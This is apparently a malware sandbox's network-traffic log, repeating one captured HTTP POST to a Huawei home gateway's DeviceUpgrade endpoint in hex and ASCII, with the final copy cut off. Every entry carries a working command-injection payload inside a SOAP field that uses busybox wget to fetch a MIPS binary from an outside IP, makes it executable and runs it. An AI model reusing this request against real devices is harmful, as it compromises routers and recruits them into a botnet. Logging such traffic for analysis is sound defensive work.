    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 